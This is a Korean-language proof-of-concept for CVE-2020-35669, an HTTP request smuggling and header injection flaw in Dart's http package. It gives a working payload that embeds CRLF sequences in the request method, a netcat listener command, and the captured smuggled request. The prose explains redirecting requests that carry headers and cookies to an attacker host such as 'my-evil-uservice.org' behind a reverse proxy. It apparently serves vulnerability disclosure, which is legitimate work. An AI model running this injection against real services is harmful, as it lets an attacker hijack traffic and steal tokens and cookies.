
CVE-2020-35669에 대한 개념 증명 익스플로잇으로, Dart의 http 패키지에서 조작된 메서드 매개변수를 통해 HTTP 요청 스머글링과 헤더 인젝션을 시연하여 리버스 프록시 우회 및 호스트 헤더 조작을 가능하게 합니다.
첫 번째 터미널에서 더미 서버를 실행하세요
sudo nc -l 127.0.0.1 80
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
void main() async {
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
- Uri(scheme: "http", path: "/llama", host: "google.com"));
+ Uri(scheme: "http", path: "/llama", host: "localhost"));
var rs = await r.send();
var resp = await Response.fromStream(rs);
print('${resp.body}');
두 번째 터미널에서 main.dart를 실행하세요
dart run main.dart
nc는 다음 요청을 수신해야 합니다
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost
var r = Request(
"GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
Uri(scheme: "http", path: "/llama", host: "google.com"));
var rs = await r.send();
위에 표시된 diff가 적용되지 않았고 사용자가 rev-proxy 뒤에 있는 경우 example.com이 제공하는 웹사이트에 도달했다고 가정합니다.
dart run main.dart
<!doctype html>
<html>
<head>
<title>Example Domain</title>
<meta charset="utf-8" />
...
... blah blah blah
...
개발자가 Request를 사용하여 HTTP 호출을 추상화하고 사용자로부터 method 매개변수를 받는 경우, 사용자는 헤더 인젝션이나 경로 변조와 같은 마법을 부릴 수 있습니다.
이는 여러 방식으로 악용될 수 있으며, 특히 리버스 프록시가 있는 경우 매우 중요해 보입니다. 프록시는 단순히 host 헤더를 기준으로 누군가의 요청을 모든 호스트로 전달할 수 있습니다. 제가 example.com을 my-evil-uservice.org로 대체하고 피해자는 프록시 뒤에 있는 회사에서 일하고 있다고 가정해 봅시다. 즉, 헤더/쿠키(토큰)가 포함된 호출을 리디렉션할 수 있다는 뜻입니다. 등등. 이를 바탕으로 모든 헤더/쿠키가 포함된 호출을 도용할 수 있습니다.